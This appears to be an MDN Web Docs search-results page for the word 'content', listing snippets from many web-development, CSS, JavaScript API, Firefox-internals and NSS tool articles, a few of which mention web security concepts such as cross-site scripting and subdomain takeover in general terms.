contentunits="objectboundingbox"> <rect x="0" y="0" width=".25" height=".25" fill="skyblue"/> <rect x="0" y="0" width=".125" height=".125" fill="url(#gradient2)"/> <circle cx=".125" cy=".125" r=".1" fill="url(#gradient1)" fill-opacity="0.5"/> </pattern> now, b...
...And 2 more matches
Same-origin policy - Web security
for example, about:blank is often used as a url of new, empty popup windows into which the parent script writes
content (e.g.
...due to the relaxed syntax rules of css, cross-origin css requires a correct
content-type header.
...cors is a part of http that lets servers specify what hosts are permitted to load
content from that server.
...And 2 more matches
Subdomain takeovers - Web security
typically, this happens when the subdomain has a canonical name (cname) in the domain name system (dns), but no host is providing
content for it.
...an attacker can take over that subdomain by providing their own virtual host and then hosting their own
content for it.
... if an attacker can do this, they can potentially read cookies set from the main domain, perform cross-site scripting, or circumvent
content security policies, thereby enabling them to capture protected information (including logins) or send malicious
content to unsuspecting users.
...And 2 more matches
Types of attacks - Web security
the user's browser cannot detect the malicious script is untrustworthy, and so gives it access to any cookies, session tokens, or other sensitive site-specific information, or lets the malicious script rewrite the html
content.
... cross-site scripting attacks usually occur when 1) data enters a web app through an untrusted source (most often a web request) or 2) dynamic
content is sent to a web user without being validated for malicious
content.
... the malicious
content often includes javascript, but sometimes html, flash, or any other code the browser can execute.
...And 2 more matches
Transforming XML with XSLT - XSLT: Extensible Stylesheet Language Transformations
xslt/xpath reference: xslt elements, exslt functions, xpath functions, xpath axes an overview the separation of
content and presentation is a key design feature of xml.
... the structure of an xml document is designed to reflect and clarify important relationships among the individual aspects of the
content itself, unhindered by a need to provide any indication about how this data should eventually be presented.
... yet eventually much of the
content stored in xml documents will need to be presented to human readers.
...And 2 more matches
Anatomy of a video game - Game development
here is an example of a simple main loop: window.main = function () { window.requestanimationframe( main ); // whatever your main loop needs to do }; main(); // start the cycle note: in each of the main() methods discussed here, we schedule a new requestanimationframe before performing our loop
contents.
...*/ ;(function () { function main() { window.requestanimationframe( main ); // your main loop
contents } main(); // start the cycle })(); when the browser comes across this iife, it will define your main loop and immediately queue it for the next frame.
...*/ ;(function () { function main() { mygame.stopmain = window.requestanimationframe( main ); // your main loop
contents } main(); // start the cycle })(); we now have a variable declared in our mygame namespace, which we call stopmain, that contains the id returned from our main loop's most recent call to requestanimationframe().
...*/ ;(function () { function main( tframe ) { mygame.stopmain = window.requestanimationframe( main ); // your main loop
contents // tframe, from "function main ( tframe )", is now a domhighrestimestamp provided by raf.
Index - Game development
15 3d games on the web games, graphics, needs
content, needsexample, webgl, webvr, three.js for rich gaming experiences on the web, the weapon of choice is webgl, which is rendered on html <canvas>.
...you can play the full version of the hungry fridge game directly in your browser, install it from the firefox marketplace or check the source code of the demo along with all the other resources on the gamepad api
content kit.
... 38 webrtc data channels api, games, needs
content, network, p2p, webrtc, data channels the webrtc (web real-time communications) api is primarily known for its support for audio and video communications; however, it also offers peer-to-peer data channels.
... 71 touch event horizon needs
content, needsexample this tutorial shows how to use touch events to create a game on a <canvas>.
CORS-safelisted request header - MDN Web Docs Glossary: Definitions of Web-related terms
a cors-safelisted request header is one of the following http headers: accept, accept-language,
content-language,
content-type.
... you can safelist more headers using the access-control-allow-headers header and also list the above headers there to circumvent the following additional restrictions: additional restrictions cors-safelisted headers must also fulfill the following requirements in order to be a cors-safelisted request header: for accept-language and
content-language: can only have values consisting of 0-9, a-z, a-z, space or *,-.;=.
... for accept and
content-type: can't contain a cors-unsafe request header byte: 0x00-0x1f (except 0x09 (ht)), "():<>?@[\]{}, and 0x7f (del).
... for
content-type: needs to have a mime type of its parsed value (ignoring parameters) of either application/x-www-form-urlencoded, multipart/form-data, or text/plain.
Page prediction - MDN Web Docs Glossary: Definitions of Web-related terms
page prediction is a browser feature or script which, when enabled, tells the browser to download resources the user is likely to visit before the user requests the
content.
... page prediction improves performance by enabling almost instant loading of predicted
content.
... however, page prediction may also download
content a user does not seek.
...also, pre-loaded websites and embedded
content can set and read their cookies as if they were visited even if they weren't.
Organizing your CSS - Learn web development
this is a pattern with a fixed size image, video or other element on one side, and flexible
content on the other.
... .comment { display: grid; grid-template-columns: 1fr 3fr; } .comment img { border: 1px solid grey; } .comment .
content { font-size: .8rem; } .list-item { display: grid; grid-template-columns: 1fr 3fr; border-bottom: 1px solid grey; } .list-item .
content { font-size: .8rem; } in oocss, you would create one pattern called media that would have all of the common css for both patterns — a base class for things that are generally the shape of the media object.
... .media { display: grid; grid-template-columns: 1fr 3fr; } .media .
content { font-size: .8rem; } .comment img { border: 1px solid grey; } .list-item { border-bottom: 1px solid grey; } in your html the comment would need both the media and comment classes applied: <div class="media comment"> <img /> <div class="
content"></div> </div> the list-item would have media and list-item applied: <ul> <li class="media list-item"> <img /> <div class="
content"></div> </li> </ul> the work that nicole sullivan did in describing this approach and promoting it means that even people who are not strictly following an oocss approach today will generally be reusing...
... previous overview: building blocks in this module cascade and inheritance css selectors type, class, and id selectors attribute selectors pseudo-classes and pseudo-elements combinators the box model backgrounds and borders handling different text directions overflowing
content values and units sizing items in css images, media, and form elements styling tables debugging css organizing your css ...
CSS values and units - Learn web development
in the below example, try changing the value of opacity to various decimal values between 0 and 1 and see how the box and its
contents become more or less opaque.
... there are places where you use strings in css, for example when specifying generated
content.
...in the below example we use unquoted color keywords along with a quoted generated
content string.
... previous overview: building blocks next in this module cascade and inheritance css selectors type, class, and id selectors attribute selectors pseudo-classes and pseudo-elements combinators the box model backgrounds and borders handling different text directions overflowing
content values and units sizing items in css images, media, and form elements styling tables debugging css organizing your css ...
CSS building blocks - Learn web development
just looking at it, consuming the
content.) a basic work environment set up as detailed in installing basic software, and an understanding of how to create and manage files, as detailed in dealing with files.
... handling different text directions in recent years, css has evolved in order to better support different directionality of
content, including right-to-left but also top-to-bottom
content (such as japanese) — these different directionalities are called writing modes.
... overflowing
content in this lesson we will look at another important concept in css — overflow.
... overflow is what happens when there is too much
content to be contained comfortably inside a box.
Responsive design - Learn web development
it is important to understand that responsive web design isn't a separate technology — it is a term used to describe an approach to web design or a set of best practices, used to create a layout that can respond to the device being used to view the
content.
... by using a flexible grid, you only need to add in a breakpoint and change the design at the point where the
content starts to look bad.
... multicol the oldest of these layout methods is multicol — when you specify a column-count, this indicates how many columns you want your
content to be split into.
... <meta name="viewport"
content="width=device-width,initial-scale=1"> this meta tag tells mobile browsers that they should set the width of the viewport to the device width, and scale the document to 100% of its intended size, which shows the document at the mobile-optimized size that you intended.
CSS layout - Learn web development
at this point we've already looked at css fundamentals, how to style text, and how to style and manipulate the boxes that your
content sits inside.
...it lets you lay
content out in rows and columns, and has many features that make building complex layouts straightforward.
... multiple-column layout the multiple-column layout specification gives you a method of laying
content out in columns, as you might see in a newspaper.
...4, 6, or 12), and then fit your
content columns inside these imaginary columns.
What are browser developer tools? - Learn web development
layout: in firefox, this area includes two sections: box model: represents visually the current element's box model, so you can see at a glance what padding, border and margin is applied to it, and how big its
content is.
...click on a file to select it and view its
contents in the center pane of the debugger.
... this will give you a window like the following: to see what happens, try entering the following snippets of code into the console one by one (and then pressing enter): alert('hello!'); document.queryselector('html').style.backgroundcolor = 'purple'; const mywordmark = document.createelement('img'); mywordmark.setattribute('src','https://blog.mozilla.org/press/wp-
content/themes/onemozilla/img/mozilla-wordmark.png'); document.queryselector('h1').appendchild(mywordmark); now try entering the following incorrect versions of the code and see what you get.
... alert('hello!); document.cheeseselector('html').style.backgroundcolor = 'purple'; const mywordmark = document.createelement('img'); mybanana.setattribute('src','https://blog.mozilla.org/press/wp-
content/themes/onemozilla/img/mozilla-wordmark.png'); document.queryselector('h1').appendchild(mywordmark); you'll start to see the kind of errors that the browser returns.
Advanced form styling - Learn web development
pseudo-classes to change the appearance of our custom checkbox as its state changes: input[type="checkbox"] { position: relative; width: 1em; height: 1em; border: 1px solid gray; /* adjusts the position of the checkboxes on the text baseline */ vertical-align: -2px; /* set here so that windows' high-contrast mode can override */ color: green; } input[type="checkbox"]::before {
content: "✔"; position: absolute; font-size: 1.2em; right: -1px; top: -0.3em; visibility: hidden; } input[type="checkbox"]:checked::before { /* use `visibility` instead of `display` to avoid recalculating layout */ visibility: visible; } input[type="checkbox"]:disabled { border-color: black; background: #ddd; color: gray; } you'll find more out about such pseudo-classes and more ...
...the following example, which shows a number of the "ugly" form features in action: this example has the following css applied to it: body { font-family: 'josefin sans', sans-serif; margin: 20px auto; max-width: 400px; } form > div { margin-bottom: 20px; } select { -webkit-appearance: none; appearance: none; } .select-wrapper { position: relative; } .select-wrapper::after {
content: "▼"; font-size: 1rem; top: 6px; right: 10px; position: absolute; } button, label, input, select, progress, meter { display: block; font-family: inherit; font-size: 100%; padding: 0; margin: 0; box-sizing: border-box; width: 100%; padding: 5px; height: 30px; } input[type="text"], input[type="datetime-local"], input[type="color"], select { box-shadow: inset 1px 1px ...
...to fix this in our example we first used our old friend appearance: none to get rid of the icon altogether: select { -webkit-appearance: none; appearance: none; } we then created our own icon using generated
content.
... we put an extra wrapper around the control, because ::before/::after don't work on <select> elements (this is because generated
content is placed relative to an element's formatting box, but form inputs work more like replaced elements — their display is generated by the browser and put in place — and therefore don't have one): <div class="select-wrapper"><select id="select" name="select"> <option>banana</option> <option>cherry</option> <option>lemon</option> </select></div> we then use generated
content to generate a little down arrow, and put it in the right place using positioning: .select-wrapper { position: relative; } .select-wrapper::after {
content: "▼"; font-size: 1rem; top: 6px; right: 10px; position: absolute; } the second, slightly more major issue is tha...
Basic native form controls - Learn web development
hidden
content another original text control is the hidden input type.
...the associated <label> is generally placed immediately after the radio button or checkbox, with the instructions for the group of radio button or checkboxes generally being the
content of the <legend>.
...as you can see from the examples, however, <button> elements let you use html in their
content, which is inserted between the opening and closing <button> tags.
... <input> elements on the other hand are empty elements; their displayed
content is inserted inside the value attribute, and therefore only accepts plain text as
content.
The HTML5 input types - Learn web development
any other
content causes the browser to display an error when the form is submitted.
... to actually display the current value, and update it as it changed, you must use javascript, but this is relatively easy to do: const price = document.queryselector('#price'); const output = document.queryselector('.price-output'); output.text
content = price.value; price.addeventlistener('input', function() { output.text
content = price.value; }); here we store references to the range input and the output in two variables.
... then we immediately set the output's text
content to the current value of the input.
... finally, an event listener is set to ensure that whenever the range slider is moved, the output's text
content is updated to the new value.
Example 2 - Learn web development
js html
content <form class="no-widget"> <select name="myfruit"> <option>cherry</option> <option>lemon</option> <option>banana</option> <option>strawberry</option> <option>apple</option> </select> <div class="select"> <span class="value">cherry</span> <ul class="optlist hidden"> <li class="option">cherry</li> <li class="option">lemon</li> <li class="option">banana</li> <li class="option">strawberry</li> <li class="option">apple</li> </ul> </div> <form> css
content .widget select, .no-widget .select { position : absolute; left : -5000em; height : 0; overflow : hidden; } /* --------------- */ /* required styles */ /* -----...
...em 0.2em rgba(0,0,0,.45); /* 0 1px 2px */ background : #f0f0f0; background : -webkit-linear-gradient(90deg, #e3e3e3, #fcfcfc 50%, #f0f0f0); background : linear-gradient(0deg, #e3e3e3, #fcfcfc 50%, #f0f0f0); } .select .value { display : inline-block; width : 100%; overflow : hidden; white-space : nowrap; text-overflow : ellipsis; vertical-align: top; } .select:after {
content : "▼"; position: absolute; z-index : 1; height : 100%; width : 2em; /* 20px */ top : 0; right : 0; padding-top : .1em; -moz-box-sizing : border-box; box-sizing : border-box; text-align : center; border-left : .2em solid #000; border-radius: 0 .1em .1em 0; background-color : #000; color : #fff; } .select .optlist { z-index : 2; list-style: none; ...
...border: .2em solid #000; border-top-width : .1em; border-radius: 0 0 .4em .4em; box-shadow: 0 .2em .4em rgba(0,0,0,.4); -moz-box-sizing : border-box; box-sizing : border-box; min-width : 100%; max-height: 10em; /* 100px */ overflow-y: auto; overflow-x: hidden; } .select .option { padding: .2em .3em; } .select .highlight { background: #000; color: #ffffff; } javascript
content window.addeventlistener("load", function () { var form = document.queryselector('form'); form.classlist.remove("no-widget"); form.classlist.add("widget"); }); result for js no js html
content <form class="no-widget"> <select name="myfruit"> <option>cherry</option> <option>lemon</option> <option>banana</option> <option>strawberry</option> <option>apple</opti...
...on> </select> <div class="select"> <span class="value">cherry</span> <ul class="optlist hidden"> <li class="option">cherry</li> <li class="option">lemon</li> <li class="option">banana</li> <li class="option">strawberry</li> <li class="option">apple</li> </ul> </div> <form> css
content .widget select, .no-widget .select { position : absolute; left : -5000em; height : 0; overflow : hidden; } result for no js ...
Dealing with files - Learn web development
previous overview: getting started with the web next a website consists of many files: text
content, code, stylesheets, media
content, and so on.
... when you're building a website, you need to assemble these files into a sensible structure on your local computer, make sure they can talk to one another, and get all your
content looking right before you eventually upload them to a server.
...let's create these now: index.html: this file will generally contain your homepage
content, that is, the text and images that people see when they first go to your site.
... styles folder: this folder will contain the css code used to style your
content (for example, setting text and background colors).
Use JavaScript within a webpage - Learn web development
to make javascript work in your favor, it's worth knowing about certain best practices for adding javascript: make all
content available as (structured) text.
... rely on html for your
content as much as possible.
...it takes extra time to navigate with the keyboard or hear
content read out.
...that means, don't update
content, redirect, or refresh automatically.
Debugging HTML - Learn web development
note: html is parsed permissively because when the web was first created, it was decided that allowing people to get their
content published was more important than making sure the syntax was absolutely correct.
...you will see something like this: this immediately doesn't look great; let's look at the source code to see if we can work out why (only the body
contents are shown): <h1>html debugging examples</h1> <p>what causes errors in html?
...ine numbers point to the last few lines of the file, and this error message comes with a line of code that points out an example of an open element: example: <a href="https://www.mozilla.org/>link to mozilla homepage</a> ↩ </ul>↩ </body>↩</html> note: an attribute missing a closing quote can result in an open element because the rest of the document is interpreted as the attribute's
content.
...metadata in html html text fundamentals creating hyperlinks advanced text formatting document and website structure debugging html marking up a letter structuring a page of
content ...
Introducing asynchronous JavaScript - Learn web development
let's look at a simple example (see it live here, and see the source): const btn = document.queryselector('button'); btn.addeventlistener('click', () => { alert('you clicked me!'); let pelem = document.createelement('p'); pelem.text
content = 'this is a newly-added paragraph.'; document.body.appendchild(pelem); }); in this block, the lines are executed one after the other: we grab a reference to a <button> element that is already available in the dom.
... we then give it some text
content.
... an example of an async callback is the second parameter of the addeventlistener() method (as we saw in action above): btn.addeventlistener('click', () => { alert('you clicked me!'); let pelem = document.createelement('p'); pelem.text
content = 'this is a newly-added paragraph.'; document.body.appendchild(pelem); }); the first parameter is the type of event to be listened for, and the second parameter is a callback function that is invoked when the event is fired.
...however, we then create a loadasset() function that takes a callback as a parameter, along with a url to fetch and a
content type.
Introduction to web APIs - Learn web development
every time you see a popup window appear on a page or some new
content displayed, for example, that's the dom in action.
... the telegram apis allows you to embed
content from telegram channels on your website, in addition to providing support for bots.
...shed playing: // play/pause audio playbtn.addeventlistener('click', function() { // check if context is in suspended state (autoplay policy) if (audioctx.state === 'suspended') { audioctx.resume(); } // if track is stopped, play it if (this.getattribute('class') === 'paused') { audioelement.play(); this.setattribute('class', 'playing'); this.text
content = 'pause' // if track is playing, stop it } else if (this.getattribute('class') === 'playing') { audioelement.pause(); this.setattribute('class', 'paused'); this.text
content = 'play'; } }); // if track ends audioelement.addeventlistener('ended', function() { playbtn.setattribute('class', 'paused'); playbtn.text
content = 'play'; }); note: some of you may ...
... the document object model (dom) api also has a simple entry point — its features tend to be found hanging off the document object, or an instance of an html element that you want to affect in some way, for example: const em = document.createelement('em'); // create a new em element const para = document.queryselector('p'); // reference an existing p element em.text
content = 'hello there!'; // give em some text
content para.appendchild(em); // embed em inside para the canvas api also relies on getting a context object to use to manipulate things, although in this case, it's a graphical context rather than an audio context.
The "why" of web performance - Learn web development
web performance refers to how quickly site
content loads and renders in a web browser, and how well it responds to user interaction.
...at its worst, bad performance causes
content to be completely inaccessible.
... a 22.6 mb site could take up to 83 seconds to load on a 3g network, with dom
contentloaded (meaning the site's base html structure) at 31.86 seconds.
...slow
content has been shown to lead to site abandonment, with some visitors leaving to never return.
Ember Interactivity: Footer functionality, conditional rendering - Learn web development
in ember, you can conditionally render parts of the template using conditional
content; a simple block example looks something like this: {{#if this.thingistrue}}
content for the block form of "if" {{/if}} so let's try replacing this part of footer.hbs: <strong>{{this.todos.incomplete.length}}</strong> todos left with the following: <strong>{{this.todos.incomplete.length}}</strong> {{#if this.todos.incomplete.length === 1}} todo {{else}} todos {{/if}} left ...
...note that here we need this.incomplete.length, not this.todos.incomplete.length, because we are doing this inside the service, where the incomplete() getter is available directly (in the template, the
contents of the service has been made available as todos via the @service('todo-data') todos; line inside the footer class, hence it being this.todos.incomplete.length there).
... creating a todo class run the following command in your terminal: ember generate component-class todo now go to the newly-created todomvc/app/components/todo.js file and update the
contents to look like so, to give the todo component access to the service: import component from '@glimmer/component'; import { inject as service } from '@ember/service'; export default class todocomponent extends component { @service('todo-data') todos; } next, go back again to our todo-data.js service file and add the following action just below the previous ones, which will allow us to to...
... in todo.hbs, first find the following line: <li> and replace it with this — you'll notice that here we're using some more conditional
content to add the class value if appropriate: <li class="{{ if @todo.iscompleted 'completed' }}"> next, find the following line: <input aria-label="toggle the completion of this todo" class="toggle" type="checkbox" > and replace it with this: <input class="toggle" type="checkbox" aria-label="toggle the completion of this todo" checked={{ @todo.iscompleted }} {{ on 'chan...
Package management basics - Learn web development
parcel is clever in that it can watch the
contents of our code for calls to dependencies and automatically installs any dependencies it sees that our code needs.
...create index.html in your test directory, and give it the following
contents: <!doctype html> <html lang="en-us"> <head> <meta charset="utf-8"> <title>my test page</title> </head> <body> <script src="./index.js"></script> </body> </html> next, we need to add an index.js file in the same directory as index.html.
... now for some page
content.
... in the index.js file, add the following code and save it: import { formatdistancetonow } from 'date-fns' const date = '1996-09-13 10:00:00'; document.body.text
content = formatdistancetonow(new date(date)) + ' ago'; go back to http://localhost:1234 and you'll see how long ago it is since the author turned 18.
omni.ja (formerly omni.jar)
this article covers the
contents of the archive and techniques for inspecting those
contents.
... omni.ja
contents the omni.ja file contains assorted application resources: chrome.manifest the chrome manifest file.
... /chrome/ user interface files for the application /chrome/localized.manifest manifest of localized
content; referenced by the main chrome manifest file.
... /chrome/nonlocalized.manifest manifest of non-localized
content; referenced by the main chrome manifest file.
Accessibility Features in Firefox
keyboard support "mozilla firefox is a web-browser with superior keyboard support." alan cantor, cantor access consulting firefox includes keyboard access to all of its amazing features: browse with caret allows users to select arbitrary
content with the keyboard and move through
content as if inside a read-only editor.
...caret browsing allows you to move through web
content one letter a time.
... you can even select web
content and copy it to the clipboard.
...also, user
content.css allows users knowledgeable about cascading style sheets to customize the appearance of all pages that are displayed.
Debugging on Windows
microsoft child process debugging power tool allows automatically attaching to child processes, such as web
content process, gpu process, etc.
...if you want to debug a
content process, you can hover on the tab of page you want to debug, which would show the pid.
... console debugging when printing to stdout from a
content process, the console message will not appear on windows.
...2>&1 | tee it may also be necessary to disable the
content sandbox (moz_disable_
content_sandbox=1 ./mach run ...).
Eclipse CDT Manual Setup
this page contains the
content that used to live on the eclipse cdt page that most people will likely just consider noise.
... select "general >
content types", expand "text > c source file > c++ source file", click "add" and add "*.mm".
... select "c/c++ > editor >
content assist" and set the auto-activation delay to 0 so that autocomplete suggestions don't seem to be laggy.
...you should now add the folder containing your firefox binary (note on mac this is inside the .app - so "{your-obj-dir}/dist/nightlydebug.app/
contents/macos/" - and since the ui will only allow you to select to the 'dist' folder, you'll need to type the end of the path in manually).
Inner and outer windows
consider that when the user is looking at a document in a browser window, not only can the document the user is currently viewing change, but the document's
contents can change.
...an inner window represents the actual
content being displayed; it's the current view of what the user sees.
...the <iframe> element offers the
contentwindow property, which gives you the outer window window object containing the frame's document.
... the frame's
contentdocument property, similarly, gives you the document object inside the frame.
mozbrowserasyncscroll
the mozbrowserasyncscroll event is fired when the
content of a browser <iframe> is scrolled.
... scrollwidth the total
content width in css pixels of the document within the browser <iframe>.
... scrollheight the total
content height in css pixels of the document within the browser <iframe>.
...this indicates that the
content is over-scrolled, which occurs when the page "rubber-bands" after being scrolled all the way to the bottom.
mozbrowseropenwindow
the mozbrowseropenwindow event is fired when a new window is required — usually when the
content of a browser <iframe> successfully calls the window.open() method, or the user clicks on a link with an unknown target.
... the embedder must use the <iframe> passed in the event.details.frameelement property as the new window
content.
... frameelement an object representing the new browser <iframe> that will embed the new
content.
... example var browser = document.queryselector("iframe"); browser.addeventlistener("mozbrowseropenwindow", function( event ) { console.log("a new window has opened containing the
content at " + event.details.url + "."); }); related events mozbrowserasyncscroll mozbrowserclose mozbrowsercontextmenu mozbrowsererror mozbrowsericonchange mozbrowserloadend mozbrowserloadstart mozbrowserlocationchange mozbrowsersecuritychange mozbrowsertitlechange mozbrowserusernameandpasswordrequired ...
Download
contenttype string the mime type of the download, for example "text/plain", or null if the mime type is not available.
... launcherpath string local file path of the application to be used to launch the target file, or null if the file should be launched with the default application associated with the
contenttype property or the extension of the target file.
... if the launcherpath property is null, the file will be opened with the default application for the mime type specified in the
contenttype property.
... if the
content type is not available, an attempt will be made to obtain it from the extension of the target file.
Http.jsm
the elements of the array will be url-encoded and "application/x-www-form-urlencoded; charset=utf-8" will be enforced as the
content type.
... http.jsm only forces the
content type if the post data is an array, and it serializes it automatically.
... if the provided postdata is a string, the
content type isn't touched.
... in this case, the
content type may be set through the headers parameter.
WebRequest.jsm
you can use this api to implement a
content policy in an add-on (for example, an ad or script blocker), as you could using nsi
contentpolicy.
...you can use webrequest.jsm in either the chrome or
content processes.
... the following types are supported: "main_frame" "sub_frame" "stylesheet" "script" "image" "object" "xmlhttprequest" http headers https headers are represented as objects with two properties, name and value: name type description name string header name, for example "
content-type" value string header value, for example "image/png" chrome incompatibilities although this api is modeled on chrome's webrequest extension api, there are some differences.
... "https://developer.cdn.mozilla.net/*"]); webrequest.onbeforerequest.addlistener(listener, { urls: pattern, types: ["image", "stylesheet"] }); function listener(e) { console.log("matched: " + e.url); } canceling this example cancels requests to load
content from "http://example.org/": let {webrequest} = cu.import("resource://gre/modules/webrequest.jsm", {}); cu.import("resource://gre/modules/matchpattern.jsm"); let pattern = new matchpattern("http://example.org/*"); webrequest.onbeforerequest.addlistener(cancelrequest, {urls: pattern}, ["blocking"]); function cancelreq...
Localization Use Cases
first, there is devicestoragehelper.showformatedsize (sic): function showformatedsize(element, l10nid, size) { if (size === undefined || isnan(size)) { element.text
content = ''; return; } // kb - 3 kb (nearest ones), mb, gb - 1.2 mb (nearest tenth) var fixeddigits = (size < 1024 * 1024) ?
... 0 : 1; var sizeinfo = filesizeformatter.getreadablefilesize(size, fixeddigits); var _ = navigator.mozl10n.get; element.text
content = _(l10nid, { size: sizeinfo.size, unit: _('byteunit-' + sizeinfo.unit) }); } the function is used like so: // application storage updateappfreespace: function storage_updateappfreespace() { var self = this; this.getfreespace(this.appstorage, function(freespace) { devicestoragehelper.showformatedsize(self.appstoragedesc, 'availablesize', freespace); }); }, problem definition for all values of freespace, the following string is enough to construct a grammatically-correct sentence in english: availablesize = {{$size}} {{$unit}} available however, other languages might need to pluralize this string with different forms of the av...
... you'll notice that devicestoragehelper.showformatedsize passes a localized name of the unit to availablesize: function showformatedsize(element, l10nid, size) { // … var _ = navigator.mozl10n.get; element.text
content = _(l10nid, { size: sizeinfo.size, unit: _('byteunit-' + sizeinfo.unit) }); } problem definition even though there's no need to localize the units in english at all, we still need to do it, because in other languages we might need to use localized names.
... in the javascript code, the developer needs to pass sizeinfo.unit instead of a localized value: function showformatedsize(element, l10nid, size) { // … element.text
content = document.l10n.get(l10nid, { size: sizeinfo.size, unit: sizeinfo.unit }); } and then use the $unit variable verbatim in the english message: <availablesize "{{ $size }} {{ $unit }} available"> in french, the localizer can then use the value of $unit to match it against a translated abbreviation, like so: <_unitedemesure { b: "o", kb: "ko", mb: "mo", gb: "go", tb: "to" }...
NSS tools : cmsutil
-c
content use this detached
content (decode only).
...-n suppress output of
contents (decode only).
...-t suppress
content in cms message (sign only).
...." -e envfile decode example cmsutil -d [-i infile] [-o outfile] [-d dbdir] [-p password] [-c
content] [-n] [-h num] envelope example cmsutil -e [-i infile] [-o outfile] [-d dbdir] [-p password] -r "recipient1,recipient2, ..." certificate-only example cmsutil -o [-i infile] [-o outfile] [-d dbdir] [-p password] -r "cert1,cert2, .
gtstd.html
the security module database tool allows you to add and delete pkcs #11 modules, change passwords, set defaults, list module
contents, enable or disable slots, enable or disable fips-140-1 compliance, and assign default providers for cryptographic operations.
... >certutil -l -d ca_db -n "myco's root ca" -a -o ca_db/rootca.crt enter password or pin for "communicator certificate db": display the
contents of the ca's certificate databases.
... >certutil -a -d server_db -n myco.mcom.org -a -i server_db/server.crt -t ",," display the
contents of the server's certificate databases.
... >certutil -a -d client_db -n "joe client" -a -i client_db/client.crt -t ",," display the
contents of the client's certificate databases.
NSS Tools cmsutil
arguments -c
content use this detached
content (decode only).
... -n suppress output of
contents (decode only).
... -t suppress
content in cms message (sign only).
...." -e envfile cmsutil -d [-i infile] [-o outfile] [-d dbdir] [-p password] [-c
content] [-n] [-h num] cmsutil -e [-i infile] [-o outfile] [-d dbdir] [-p password] -r "recipient1,recipient2, .
NSS tools : cmsutil
-c
content use this detached
content (decode only).
... -n suppress output of
contents (decode only).
... -t suppress
content in cms message (sign only).
...." -e envfile decode example cmsutil -d [-i infile] [-o outfile] [-d dbdir] [-p password] [-c
content] [-n] [-h num] envelope example cmsutil -e [-i infile] [-o outfile] [-d dbdir] [-p password] -r "recipient1,recipient2, ..." certificate-only example cmsutil -o [-i infile] [-o outfile] [-d dbdir] [-p password] -r "cert1,cert2, .
JS::CompileOptions
this allows an attack by which a malicious website loads a sensitive file (say, a bank statement) cross-origin (using the user's cookies), and sniffs the generated syntax errors (via a window.onerror handler) for juicy morsels of its
contents.
...source belongs to a dom element in the following cases: source belongs to a <script> element if it is the element's text
content (that is, it is written out as the body of the <script> element in the markup text), or is the source document referenced by its src attribute.
... source belongs to a dom element if it is an event handler
content attribute (that is, if it is written out in the markup text as an attribute value).
...if one assigns a function, that function's script's source does not belong to the dom element; the function's definition must appear elsewhere.) jsstring *elementattributename() const if this source belongs to a dom element because it is an event handler
content attribute or an event handler idl attribute, this returns the name of that attribute, a string.
Security and the jar protocol
this article discusses security concerns with the jar: protocol, which only firefox has ever implemented for web
content.
... note: support for the jar: protocol was disabled by default for use from web
content beginning in firefox 45, but re-enabled again because it broke the experience of ibm inotes users.
...this means that no matter what the file's real
contents are, as far as firefox is concerned, it was a zip archive.
...a site that serves a file with that type is essentially promising that it has vetted the
content and that it is in fact safe to download and execute.
Querying Places
the
contents of bookmark folders can be retrieved by setting the "folders" member in the query object.
...typically, you will only have one folder id in this list, which will given you the
contents of that folder.
...to get at a container's
contents, you must first open the container.
...while a container is open, it will listen to the history and bookmarks systems' notifications and modify their
contents to keep themselves up-to-date.
Fun With XBL and XPConnect
<binding name="autocomplete" extends="xul:box"> <
content> <xul:textfield class="addressingwidget"/> <xul:menupopup/> </
content> <implementation> <property name="autocompletesession"> <![cdata[ components.classes['component://netscape/messenger/autocomplete&type=addrbook'].
... <method name="autocomplete"> <argument name="asearchstring"/> <argument name="resultlistener"/> <body> <![cdata[ return this.autocompletesession.autocomplete(null, anonymous
content[0], asearchstring, this.autocompletelistener); ]]> </body> </method> you can see that the body of the method is just getting the auto complete session object and calling the auto complete method on it.
...i could apply a trick similar to what i did for the xpcom object: <property name="autocompletelistener"> <![cdata[ ({ onautocompleteresult: function(aitem, aoriginalstring, amatch) { if ( aitem ) { anonymous
content[0].value = amatch; } } }) ]]> </property> as long as the js for the value of autocompletelistener evaluates to an object (and wrapping the expression with a set of parens like i did, does this), then the value of autocompletelistener is an object that implements my interface.
... <handlers> <handler type="keypress" keycode="vk_return" value="autocomplete(anonymous
content[0].value, this.autocompletelistener);"/> </handlers> </implementation> </binding> original document information author(s): scott macgregor last updated date: april 13, 2000 copyright information: copyright (c) scott macgregor ...
mozIRegistry
warning: the
content of this article may be out of date.
... the
contents of this rdf data base will be stored in a plain-text rdf/xml file so that it can easily be viewed edited.
... it will also facilitate building a browser-based application that will allow people to display and edit its
contents.
... original document information author: bill law last updated date: january 21, 1999 copyright information: portions of this
content are © 1998–2007 by individual mozilla.org contributors;
content available under a creative commons license | details.
nsIAccessibilityService
naccessible(in nsisupports aframe); nsiaccessible getaccessible(in nsidomnode anode, in nsipresshell apresshell, in nsiweakreference aweakshell, inout nsiframe framehint, out boolean aishidden); nsiaccessible addnativerootaccessible(in voidptr aatkaccessible); void removenativerootaccessible(in nsiaccessible arootaccessible); void invalidatesubtreefor(in nsipresshell apresshell, in nsi
content achanged
content, in pruint32 aevent); methods removenativerootaccessible() void removenativerootaccessible( in nsiaccessible arootaccessible ); invalidatesubtreefor() invalidate the accessibility cache associated with apresshell, for accessibles that were generated for acontainer
content and it's subtree.
... the container
content node for the change is passed in, rather than the changed presentation for the
content node itself.
... void invalidatesubtreefor( in nsipresshell apresshell, in nsi
content achanged
content, in pruint32 aevent ); parameters <tt>apresshell</tt> the presshell where changes occured.
... <tt>achanged
content</tt> the affected dom
content.
nsIAccessibleEditableText
the operations it supports includes setting text attributes and text
contents while also replacing old text of an object with new text.
... void copytext(in long startpos, in long endpos); void cuttext(in long startpos, in long endpos); void deletetext(in long startpos, in long endpos); void inserttext(in astring text, in long position); void pastetext(in long position); void setattributes(in long startpos, in long endpos, in nsisupports attributes); unimplemented void settext
contents(in astring text); attributes attribute type description associatededitor nsieditor returns an editor associated with the accessible.
... settext
contents() replaces the text represented by this object with the given text.
... void settext
contents( in astring text ); parameters text the text that will replace the old text.
nsIAccessibleRetrieval
gecko 2.0 nsiaccessible getapplicationaccessible(); nsiaccessible getattachedaccessiblefor(in nsidomnode anode); nsiaccessible getcachedaccessible(in nsidomnode anode, in nsiweakreference ashell); obsolete since gecko 2.0 nsiaccessnode getcachedaccessnode(in nsidomnode anode, in nsiweakreference ashell); obsolete since gecko 2.0 nsidomnode getrelevant
